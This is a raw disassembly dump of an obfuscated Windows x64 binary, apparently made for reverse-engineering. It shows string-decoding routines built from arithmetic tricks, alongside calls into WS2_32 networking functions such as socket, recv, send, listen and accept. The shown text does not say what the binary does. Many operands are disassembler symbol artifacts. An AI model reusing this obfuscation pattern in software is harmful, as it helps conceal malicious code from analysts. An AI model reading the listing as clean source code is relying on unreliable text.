mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14007abeb
lea ecx, [r10 - 0x3a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6a
jmp 0x14007abeb
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx r11d, r10b
jmp 0x14007aa38
lea edx, [r10 + 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7e
add dil, dl
jmp 0x14007aa65
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a173
lea ecx, [r10 - 0x29]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x1f
mov byte [rbp + r10 + 0x2a0], dil
inc r10
jmp 0x14007a173
lea edx, [r10 + 0x7d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6b
add dil, dl
cmp r8, 2
jb 0x14007a5b4
movzx r11d, r10b
lea edx, [r11 - 0x12]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 4]
jmp 0x14007ab42
lea edx, [r10 + 0x23]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0xb
add dil, dl
cmp rbx, 0x400
jae 0x14007a9ff
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x14007a943
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007a5db
lea edx, [r10 - 0x37]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x7f
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14007aa23
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x14007a8c2
lea edx, [r10 - 0x47]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xf
jmp 0x14007a620
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007aa65
movzx r11d, r10b
lea edx, [r11 + 0x72]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1e
add dil, dl
jmp 0x14007aa38
lea edx, [r10 + 0x18]
movzx eax, r9b
and al, dl
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007abeb
lea ecx, [r10 - 0x42]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x32
add rbx, r8
jmp 0x14007abeb
movzx r11d, r10b
lea edx, [r11 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007abab
lea ecx, [r10 + 0xa]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x46
dec r10
inc r10
jmp 0x14007a173
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007a173
movzx r11d, r10b
lea edx, [r11 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
jmp 0x14007ab3f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14007a7db
lea edx, [r10 + 0x2d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3b
jmp 0x14007a66d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a815
lea edx, [r10 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a173
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a841
movzx r11d, r10b
lea edx, [r11 + 0x16]
movzx eax, r9b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007aa38
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a86c
lea edx, [r10 - 0x36]
movzx eax, r9b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
jmp 0x14007abeb
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007a895
movzx r11d, r10b
lea edx, [r11 + 0x24]
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x14007abab
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007a670
movzx r11d, r10b
lea edx, [r11 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
jmp 0x14007ab3f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a8eb
movzx r11d, r10b
lea edx, [r11 + 0x13]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x7b
jmp 0x14007ab3f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a913
lea ecx, [r10 + 0x7b]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5d
add rbx, r8
jmp 0x14007abeb
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007a623
movzx r11d, r10b
lea edx, [r11 + 0x2f]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x49
add dil, dl
jmp 0x14007aa38
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007a97a
lea ecx, [r10 - 0x3c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x5c
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a173
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007a9a2
lea edx, [r10 - 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14007abeb
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007a9ca
lea ecx, [r10 + 0x2c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x34
add rbx, r8
jmp 0x14007abeb
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007a5de
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14007a173
movzx r11d, r10b
lea edx, [r11 + 0x48]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x2a0]
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
jmp 0x14007abab
movzx r11d, r10b
lea ecx, [r11 - 0x5e]
movzx eax, r9b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 0x6e]
sub r11b, 0x31
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, r9b
sub cl, al
add cl, 0x57
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x2a0], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 4]
movzx eax, r9b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x2a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a173
lea ecx, [r10 - 0x33]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x65
jmp 0x14007abeb
lea ecx, [r10 + 0x73]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x25
add rbx, r8
jmp 0x14007abeb
movzx r11d, r10b
lea edx, [r11 + 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x51
jmp 0x14007abab
movzx r11d, r10b
lea edx, [r11 + 0xb]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4d
jmp 0x14007ab3f
movzx r11d, r10b
lea edx, [r11 + 0x57]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x61
add dil, dl
add r11b, 0x1b
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
add r9b, 0x43
add r9b, r11b
mov byte [rbp + r10 + 0x2a0], r9b
inc r8
dec r10
inc r10
jmp 0x14007a173
lea ecx, [r10 - 0x5d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x75
dec r10
inc r10
jmp 0x14007a173
movzx r11d, r10b
lea edx, [r11 + 0x49]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
inc dil
add dil, dl
add r11b, 0x75
movzx eax, r9b
and al, r11b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x33
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x2a0], cl
add rbx, r8
jmp 0x14007abeb
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x13
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007a173
lea rcx, [r10 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x4f
movzx eax, byte [rbp + r10 + 0x2a0]
add rax, r8
add r10, rax
inc r10
jmp 0x14007a173
add r10b, 0x61
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x59
jmp 0x14007a170
add r10b, 7
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x31
jmp 0x14007a157
lea rcx, [rbp + 0x14af4dc]
jmp 0x14007ac82
lea rcx, [rbp + 0xc39409]
jmp 0x14007ac82
lea rcx, [rbp + 0x2a0]
lea rdx, [0x1401de729]
call fcn.1400393c0
mov byte [rbp + 0x490], 0x29
mov byte [rbp + 0x491], 0x1f
mov byte [rbp + 0x492], reloc.WS2_32.dll_send
mov byte [rbp + 0x493], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x494], 0x1c
mov byte [rbp + 0x495], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x496], 0x56
mov byte [rbp + 0x497], 0x27
mov byte [rbp + 0x498], 2
mov byte [rbp + 0x499], reloc.WS2_32.dll_recv
mov byte [rbp + 0x49a], 0x1e
mov byte [rbp + 0x49b], reloc.WS2_32.dll_select
mov byte [rbp + 0x49c], 0x1f
mov byte [rbp + 0x49d], reloc.WS2_32.dll_listen
mov byte [rbp + 0x49e], reloc.WS2_32.dll_socket
mov byte [rbp + 0x49f], select
mov byte [rbp + 0x4a0], select
mov byte [rbp + 0x4a1], 0x7d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4a2], xmm0
mov byte [rbp + 0x4b2], al
movabs rsi, 0x7659fece8380ad6e
movabs r14, 0x630dfc6b8a82084a
movzx edi, byte [rsp + 0x50]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r10d, r10d
cmp r10, 0x23
jae 0x14007b87c
movzx r9d, byte [rbp + r10 + 0x490]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14007b873
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14007ad9c
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 2
jmp 0x14007add0
je 0x14007b805
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b7d3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b7b2
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14007b768
nop dword [rax]
cmp r8, r10
ja 0x14007b86a
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x14007adfa
lea ecx, [r10 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x14007ae40
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b748
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14007b726
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b6e2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14007b6c7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14007b638
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14007b2e0
nop dword [rax]
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14007b2bd
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14007b295
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14007b270
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14007b24d
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14007b22e
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14007b20f
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14007b1ec
lea rbx, [r8 + 0x5a]
lea r8, [rbx + 0x40]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14007b84d
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14007b830
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14007afe8
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14007afcd
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14007afb2
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14007b19e
lea rcx, [r8 + 0x5a]
cmp rbx, rcx
jb 0x14007b123
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x14007ae50
mov rbx, rcx
lea r8, [rcx + 0x7a]
lea rax, [r8 + 0x20]
cmp rcx, rax
ja 0x14007b0f6
lea rax, [r8 + 0x41]
cmp rcx, rax
ja 0x14007b0db
lea rax, [r8 + 0x10]
cmp rcx, rax
ja 0x14007b0bc
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x14007b0a1
lea rax, [r8 + 0xa]
cmp rcx, rax
ja 0x14007b086
lea rax, [r8 + 0x61]
cmp rcx, rax
ja 0x14007b067
lea rcx, [r8 + 9]
cmp rbx, rcx
ja 0x14007b046
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14007b022
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14007b003
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14007ae50
mov rbx, rcx
lea r8, [rcx + 6]
jmp 0x14007ae50
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14007ae40
lea ecx, [r10 - 0x22]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x12
jmp 0x14007add0
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
jmp 0x14007ad66
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx r11d, r10b
jmp 0x14007b782
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
inc r8
dec r10
inc r10
jmp 0x14007ad53
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
dec r10
inc r10
jmp 0x14007ad53
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
movzx r11d, r10b
jmp 0x14007b6fc
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x14007b7e9
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3c
jmp 0x14007b7ec
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx r11d, r10b
jmp 0x14007b652
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14007b680
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x14007ad53
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
cmp rbx, 0x1000
jae 0x14007b5f4
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x14007b4c7
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 4
jb 0x14007b5e4
movzx r11d, r10b
lea ecx, [r11 - 0x2c]
movzx eax, cl
and al, r9b
mov edx, 0x1a
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14007b782
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
lea rax, [r8 + rbx]
cmp rax, 0x1000
je 0x14007b61b
lea rax, [r8 + 0xa]
cmp rbx, rax
jbe 0x14007b3b4
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x14007b139
movzx r11d, r10b
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b652
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b7ec
lea edx, [r10 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b7e9
movzx r11d, r10b
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r9b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b6fc
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007ad53
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007ad53
movzx r11d, r10b
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b782
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14007b304
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
jmp 0x14007b1b4
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b33a
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x14007ad53
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007b362
movzx r11d, r10b
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5c
jmp 0x14007b652
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b386
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
jmp 0x14007b7ec
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007b1b4
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
dec r10
inc r10
jmp 0x14007ad53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b3dc
movzx r11d, r10b
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7e
jmp 0x14007b782
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b40d
lea edx, [r10 - 0x12]
movzx eax, dl
and al, r9b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007ad53
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007b435
lea edx, [r10 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b7e9
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007b461
movzx r11d, r10b
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b652
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b489
lea edx, [r10 + 0x16]
movzx eax, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b680
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007b139
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x14007ad53
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007b501
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x14007ad53
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007b52d
movzx r11d, r10b
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b652
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14007b555
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b7e9
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007b583
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14007ad53
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14007b5b4
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r9b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14007ad53
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14007b170
movzx r11d, r10b
lea edx, [r11 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14007b782
mov byte [rbp + r10 + 0x490], dil
inc r10
jmp 0x14007ad53
movzx r11d, r10b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x490]
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007b6fc
movzx r11d, r10b
lea edx, [r11 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007b652
movzx r11d, r10b
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x46
sub r11b, 6
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x490], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x68]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x490], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x14007ad53
lea ecx, [r10 + 0x52]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3e
jmp 0x14007b7e9
movzx r11d, r10b
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
add r11b, 0x1e
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r11b
mov byte [rbp + r10 + 0x490], cl
jmp 0x14007b7e9
lea ecx, [r10 - 0x66]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x36
dec r10
inc r10
jmp 0x14007ad53
movzx r11d, r10b
lea edx, [r11 - 0x1e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
add dil, dl
jmp 0x14007b782
movzx r11d, r10b
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x26
add r11b, 0x42
movzx eax, r9b
and al, r11b
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
mov byte [rbp + r10 + 0x490], cl
inc r8
dec r10
inc r10
jmp 0x14007ad53
lea ecx, [r10 + 0x72]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1e
dec r10
inc r10
jmp 0x14007ad53
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14007ad53
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 6
movzx eax, byte [rbp + r10 + 0x490]
add rax, r8
add r10, rax
inc r10
jmp 0x14007ad53
add r10b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0xa
jmp 0x14007ad50
add r10b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
jmp 0x14007ad37
lea rcx, [rbp + 0x1748a78]
jmp 0x14007b883
lea rcx, [rbp + 0xf537e6]
jmp 0x14007b883
lea rcx, [rbp + 0x490]
lea rdx, reloc.WS2_32.dll_accept
call fcn.1400393c0
mov byte [rbp + 0x4c0], 0xf5
mov byte [rbp + 0x4c1], 0xcf
mov byte [rbp + 0x4c2], 0xd3
mov byte [rbp + 0x4c3], 0xd1
mov byte [rbp + 0x4c4], 0xc8
mov byte [rbp + 0x4c5], 0xd0
mov byte [rbp + 0x4c6], socket
mov byte [rbp + 0x4c7], 0xe7
mov byte [rbp + 0x4c8], 0x3a
mov byte [rbp + 0x4c9], 0x2c
mov byte [rbp + 0x4ca], 0x2e
mov byte [rbp + 0x4cb], 0x32
mov byte [rbp + 0x4cc], 0x2f
mov byte [rbp + 0x4cd], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x4ce], gethostname
mov byte [rbp + 0x4cf], 0x30
mov byte [rbp + 0x4d0], 0x3e
mov byte [rbp + 0x4d1], 0xe1
mov byte [rbp + 0x4d2], 6
mov byte [rbp + 0x4d3], 0x3c
mov byte [rbp + 0x4d4], 0x30
